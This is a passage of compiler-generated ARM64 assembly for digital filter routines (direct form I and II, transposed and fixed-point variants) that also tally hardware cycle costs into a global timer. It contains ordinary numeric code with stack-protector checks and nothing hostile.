ldr w0, [x0, 36]
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 116]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 120]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr d0, [sp, 88]
add sp, sp, 96
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE107:
.size generic_timing_double_direct_form_1, .-generic_timing_double_direct_form_1
.align 2
.global generic_timing_double_direct_form_2
.type generic_timing_double_direct_form_2, %function
generic_timing_double_direct_form_2:
.LFB108:
.cfi_startproc
sub sp, sp, #96
.cfi_def_cfa_offset 96
str x0, [sp, 40]
str d0, [sp, 32]
str x1, [sp, 24]
str x2, [sp, 16]
str w3, [sp, 12]
str w4, [sp, 8]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 24]
lsl w2, w0, 3
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 3
sub w0, w0, w1
lsl w0, w0, 1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 28]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 32]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
str xzr, [sp, 88]
ldr x0, [sp, 24]
add x0, x0, 8
str x0, [sp, 64]
ldr x0, [sp, 16]
str x0, [sp, 72]
ldr x0, [sp, 40]
add x0, x0, 8
str x0, [sp, 80]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 1
mov w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 108]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
add w0, w1, w0
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
mov w0, 1
str w0, [sp, 60]
b .L687
.L688:
ldr x0, [sp, 64]
add x1, x0, 8
str x1, [sp, 64]
ldr d1, [x0]
ldr x0, [sp, 80]
add x1, x0, 8
str x1, [sp, 80]
ldr d0, [x0]
fmul d0, d1, d0
ldr x0, [sp, 40]
ldr d1, [x0]
fsub d0, d1, d0
ldr x0, [sp, 40]
str d0, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, 23
mul w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 84]
lsl w0, w0, 5
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 3
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
lsl w0, w0, 1
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 92]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 96]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 124]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 100]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 104]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 112]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L687:
ldr w1, [sp, 60]
ldr w0, [sp, 12]
cmp w1, w0
blt .L688
ldr x0, [sp, 40]
ldr d1, [x0]
ldr d0, [sp, 32]
fadd d0, d1, d0
ldr x0, [sp, 40]
str d0, [x0]
ldr x0, [sp, 40]
str x0, [sp, 80]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, 13
mul w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 2
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 124]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 96]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
str wzr, [sp, 56]
b .L689
.L690:
ldr x0, [sp, 72]
add x1, x0, 8
str x1, [sp, 72]
ldr d1, [x0]
ldr x0, [sp, 80]
add x1, x0, 8
str x1, [sp, 80]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 88]
fadd d0, d1, d0
str d0, [sp, 88]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
mov w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 3
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 96]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 100]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 104]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 112]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L689:
ldr w1, [sp, 56]
ldr w0, [sp, 8]
cmp w1, w0
blt .L690
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 84]
add w0, w1, w0
lsl w1, w0, 2
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 28]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 116]
lsl w0, w0, 3
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 120]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr d0, [sp, 88]
add sp, sp, 96
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE108:
.size generic_timing_double_direct_form_2, .-generic_timing_double_direct_form_2
.align 2
.global generic_timing_double_transposed_direct_form_2
.type generic_timing_double_transposed_direct_form_2, %function
generic_timing_double_transposed_direct_form_2:
.LFB109:
.cfi_startproc
sub sp, sp, #80
.cfi_def_cfa_offset 80
str x0, [sp, 40]
str d0, [sp, 32]
str x1, [sp, 24]
str x2, [sp, 16]
str w3, [sp, 12]
str w4, [sp, 8]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 24]
lsl w2, w0, 3
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 3
sub w0, w0, w1
lsl w0, w0, 1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 28]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 32]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
str xzr, [sp, 72]
ldr x0, [sp, 24]
add x0, x0, 8
str x0, [sp, 56]
ldr x0, [sp, 16]
str x0, [sp, 64]
ldr w0, [sp, 12]
ldr w2, [sp, 8]
ldr w1, [sp, 8]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 52]
ldr x0, [sp, 64]
add x1, x0, 8
str x1, [sp, 64]
ldr d1, [x0]
ldr d0, [sp, 32]
fmul d1, d1, d0
ldr x0, [sp, 40]
ldr d0, [x0]
fadd d0, d1, d0
str d0, [sp, 72]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 4
sub w1, w0, w1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w2, [x0, 48]
mov w0, 22
mul w0, w2, w0
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 3
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 96]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 100]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 104]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 112]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
str wzr, [sp, 48]
b .L693
.L696:
ldrsw x0, [sp, 48]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 40]
add x1, x1, x0
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x2, [sp, 40]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 12]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
bge .L694
ldr x0, [sp, 56]
add x1, x0, 8
str x1, [sp, 56]
ldr d1, [x0]
ldr d0, [sp, 72]
fmul d0, d1, d0
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
fsub d0, d1, d0
str d0, [x0]
.L694:
ldr w0, [sp, 8]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
bge .L695
ldr x0, [sp, 64]
add x1, x0, 8
str x1, [sp, 64]
ldr d1, [x0]
ldr d0, [sp, 32]
fmul d1, d1, d0
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
.L695:
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, 70
mul w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 6
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 60]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 2
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 64]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 2
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 4
sub w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 68]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 72]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
lsl w0, w0, 1
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 104]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 100]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 92]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 96]
lsl w0, w0, 2
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 52]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 80]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 128]
lsl w0, w0, 1
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 124]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
lsl w0, w0, 1
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 88]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 112]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L693:
ldr w0, [sp, 52]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
blt .L696
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 84]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 116]
lsl w0, w0, 1
add w0, w1, w0
lsl w2, w0, 2
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 28]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 120]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr d0, [sp, 72]
add sp, sp, 80
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE109:
.size generic_timing_double_transposed_direct_form_2, .-generic_timing_double_transposed_direct_form_2
.align 2
.global double_direct_form_1_impl2
.type double_direct_form_1_impl2, %function
double_direct_form_1_impl2:
.LFB110:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
.cfi_def_cfa_register 29
sub sp, sp, #16
str x0, [x29, 56]
str w1, [x29, 52]
str x2, [x29, 40]
str w3, [x29, 48]
str x4, [x29, 32]
str w5, [x29, 28]
str x6, [x29, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 88]
mov x1, 0
mov x0, sp
mov x2, x0
str wzr, [x29, 64]
str wzr, [x29, 68]
ldr w0, [x29, 52]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 72]
sxtw x1, w0
mov x14, x1
mov x15, 0
lsr x1, x14, 58
lsl x11, x15, 6
orr x11, x1, x11
lsl x10, x14, 6
sxtw x1, w0
mov x12, x1
mov x13, 0
lsr x1, x12, 58
lsl x9, x13, 6
orr x9, x1, x9
lsl x8, x12, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L699:
cmp sp, x1
beq .L700
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L699
.L700:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L701
str xzr, [sp, 1024]
.L701:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 80]
str wzr, [x29, 64]
b .L702
.L707:
ldr x0, [x29, 80]
ldrsw x1, [x29, 64]
str xzr, [x0, x1, lsl 3]
str wzr, [x29, 68]
b .L703
.L706:
ldr w1, [x29, 68]
ldr w0, [x29, 64]
cmp w1, w0
bgt .L715
ldr x0, [x29, 80]
ldrsw x1, [x29, 64]
ldr d1, [x0, x1, lsl 3]
ldr w1, [x29, 64]
ldr w0, [x29, 68]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [x29, 56]
add x0, x1, x0
ldr d2, [x0]
ldrsw x0, [x29, 68]
lsl x0, x0, 3
ldr x1, [x29, 40]
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [x29, 80]
ldrsw x1, [x29, 64]
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 68]
add w0, w0, 1
str w0, [x29, 68]
.L703:
ldr w1, [x29, 68]
ldr w0, [x29, 48]
cmp w1, w0
blt .L706
b .L705
.L715:
nop
.L705:
ldr w0, [x29, 64]
add w0, w0, 1
str w0, [x29, 64]
.L702:
ldr w1, [x29, 64]
ldr w0, [x29, 52]
cmp w1, w0
blt .L707
ldr x0, [x29, 80]
ldr d0, [x0]
ldr x0, [x29, 16]
str d0, [x0]
mov w0, 1
str w0, [x29, 64]
b .L708
.L713:
ldrsw x0, [x29, 64]
lsl x0, x0, 3
ldr x1, [x29, 16]
add x0, x1, x0
str xzr, [x0]
ldrsw x0, [x29, 64]
lsl x0, x0, 3
ldr x1, [x29, 16]
add x0, x1, x0
ldr d1, [x0]
ldr x0, [x29, 80]
ldrsw x1, [x29, 64]
ldr d0, [x0, x1, lsl 3]
ldrsw x0, [x29, 64]
lsl x0, x0, 3
ldr x1, [x29, 16]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
mov w0, 1
str w0, [x29, 68]
b .L709
.L712:
ldr w1, [x29, 68]
ldr w0, [x29, 64]
cmp w1, w0
bgt .L716
ldrsw x0, [x29, 64]
lsl x0, x0, 3
ldr x1, [x29, 16]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [x29, 64]
ldr w0, [x29, 68]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [x29, 16]
add x0, x1, x0
ldr d2, [x0]
ldrsw x0, [x29, 68]
lsl x0, x0, 3
ldr x1, [x29, 32]
add x0, x1, x0
ldr d0, [x0]
fneg d0, d0
fmul d0, d2, d0
ldrsw x0, [x29, 64]
lsl x0, x0, 3
ldr x1, [x29, 16]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w0, [x29, 68]
add w0, w0, 1
str w0, [x29, 68]
.L709:
ldr w1, [x29, 68]
ldr w0, [x29, 28]
cmp w1, w0
blt .L712
b .L711
.L716:
nop
.L711:
ldr w0, [x29, 64]
add w0, w0, 1
str w0, [x29, 64]
.L708:
ldr w1, [x29, 64]
ldr w0, [x29, 52]
cmp w1, w0
blt .L713
mov sp, x2
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 88]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L714
bl __stack_chk_fail
.L714:
mov sp, x29
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE110:
.size double_direct_form_1_impl2, .-double_direct_form_1_impl2
.align 2
.global fxp_direct_form_1_impl2
.type fxp_direct_form_1_impl2, %function
fxp_direct_form_1_impl2:
.LFB111:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
str x21, [sp, 32]
sub sp, sp, #16
.cfi_offset 19, -112
.cfi_offset 20, -104
.cfi_offset 21, -96
str x0, [x29, 88]
str w1, [x29, 84]
str x2, [x29, 72]
str w3, [x29, 80]
str x4, [x29, 64]
str w5, [x29, 60]
str x6, [x29, 48]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 120]
mov x1, 0
mov x0, sp
mov x21, x0
str wzr, [x29, 96]
str wzr, [x29, 100]
ldr w0, [x29, 84]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 104]
sxtw x1, w0
mov x14, x1
mov x15, 0
lsr x1, x14, 58
lsl x11, x15, 6
orr x11, x1, x11
lsl x10, x14, 6
sxtw x1, w0
mov x12, x1
mov x13, 0
lsr x1, x12, 58
lsl x9, x13, 6
orr x9, x1, x9
lsl x8, x12, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L718:
cmp sp, x1
beq .L719
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L718
.L719:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L720
str xzr, [sp, 1024]
.L720:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 112]
str wzr, [x29, 96]
b .L721
.L726:
ldr x0, [x29, 112]
ldrsw x1, [x29, 96]
str xzr, [x0, x1, lsl 3]
str wzr, [x29, 100]
b .L722
.L725:
ldr w1, [x29, 100]
ldr w0, [x29, 96]
cmp w1, w0
bgt .L734
ldr x0, [x29, 112]
ldrsw x1, [x29, 96]
ldr x19, [x0, x1, lsl 3]
ldr w1, [x29, 96]
ldr w0, [x29, 100]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [x29, 88]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [x29, 100]
lsl x0, x0, 3
ldr x1, [x29, 72]
add x0, x1, x0
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x1, x0
mov x0, x19
bl fxp_add
mov x2, x0
ldr x0, [x29, 112]
ldrsw x1, [x29, 96]
str x2, [x0, x1, lsl 3]
ldr w0, [x29, 100]
add w0, w0, 1
str w0, [x29, 100]
.L722:
